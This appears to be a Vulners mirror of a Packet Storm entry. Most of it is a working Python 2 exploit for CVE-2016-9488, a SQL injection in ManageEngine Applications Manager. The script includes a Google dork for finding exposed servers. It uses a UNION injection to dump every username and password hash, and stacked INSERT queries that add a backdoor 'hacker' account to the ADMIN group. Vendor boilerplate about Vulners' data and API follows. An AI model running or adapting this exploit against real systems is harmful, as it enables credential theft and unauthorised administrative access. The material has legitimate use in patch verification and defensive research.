Lucene search
K

ManageEngine Applications Manager 13 SQL Injection

🗓️ 27 Jul 2020 00:00:00Reported by aldormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 159 Views

ManageEngine Applications Manager 13 SQL Injection exploit

Related
Code
`# Exploit Title: ManageEngine Applications Manager 13 - 'MenuHandlerServlet' SQL Injection  
# Google Dork: intitle:"Applications Manager Login Screen"  
# Date: 2020-07-23  
# Exploit Author: aldorm  
# Vendor Homepage: https://www.manageengine.com/  
# Software Link:  
# Version: 12 and 13 before Build 13200  
# Tested on: Windows  
# CVE : 2016-9488  
  
#!/usr/bin/env python2  
  
# App: ManageEngine Applications Manager  
# Versions: 12 and 13 before build 13200  
# CVE: CVE-2016-9488  
# Vuln Type: SQL Injection  
# CVSSv3: 9.8  
#   
# PoC Autor: aldorm  
# Release date: 23-07-2020  
  
# ./poc_CVE-2016-9488.py 192.168.123.113 8443 --create-user-hacker  
# [*] Extracting all users:  
# admin:21232f297a57a5a743894a0e4a801fc3  
# reportadmin:21232f297a57a5a743894a0e4a801fc3  
# systemadmin_enterprise:21232f297a57a5a743894a0e4a801fc3  
# [*] Creating new user:   
# User: hacker   
# Password: admin  
# [*] Verifing created user...  
# Success.  
  
  
import sys   
import requests  
import urllib3  
import json  
  
  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  
  
target = 'localhost'  
  
def get_userpassword():  
sqli = ' UNION ALL SELECT userid,CONCAT(username,$$:$$,password),NULL FROM am_userpasswordtable--'  
r= requests.get('https://%s:%s/servlet/MenuHandlerServlet' % (target,port ), params= 'action=verticalmenulist&config_id=0 %s' % sqli, verify=False);  
j = json.loads(r.text)  
return j  
  
def create_user():  
sqli = '; INSERT INTO am_userpasswordtable VALUES (123123123, $$hacker$$,$$21232f297a57a5a743894a0e4a801fc3$$,NULL,NULL,$$21232f297a57a5a743894a0e4a801fc3$$,1); -- '  
r= requests.get('https://%s:%s/servlet/MenuHandlerServlet' % (target,port ), params= 'action=verticalmenulist&config_id=0 %s' % sqli, verify=False);  
  
sqli = ';INSERT INTO amdb.public.am_usergrouptable VALUES ($$hacker$$,$$USERS$$); -- '  
r= requests.get('https://%s:%s/servlet/MenuHandlerServlet' % (target,port ), params= 'action=verticalmenulist&config_id=0 %s' % sqli, verify=False);  
  
sqli = ';INSERT INTO amdb.public.am_usergrouptable VALUES ($$hacker$$,$$ADMIN$$); -- '  
r= requests.get('https://%s:%s/servlet/MenuHandlerServlet' % (target,port ), params= 'action=verticalmenulist&config_id=0 %s' % sqli, verify=False);  
  
return   
  
  
def main ():  
if not len(sys.argv) > 2:  
print "Usage %s <target> <port> [--create-user-hacker]" % sys.argv[0]  
print "e.g. %s manageengine 8443 " % sys.argv[0]  
sys.exit(1)  
  
global target  
global port  
target=sys.argv[1]  
port=sys.argv[2]  
  
print "[*] Extracting all users:"  
j = get_userpassword()  
for user in j["0"]:  
print "\t %s" % user[1]  
  
  
if len(sys.argv) == 4 and sys.argv[3] == '--create-user-hacker':  
print "[*] Creating new user: \n\tUser: hacker \n\tPassword: admin"   
create_user()  
print "[*] Verifing created user..."  
  
j = get_userpassword()  
for user in j["0"]:  
if user[1] == "hacker:21232f297a57a5a743894a0e4a801fc3":  
print "Success."  
return  
print "User not created."  
  
  
  
if __name__ == '__main__':  
main()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Jul 2020 00:00Current
0.4Low risk
Vulners AI Score0.4
EPSS0.04398
159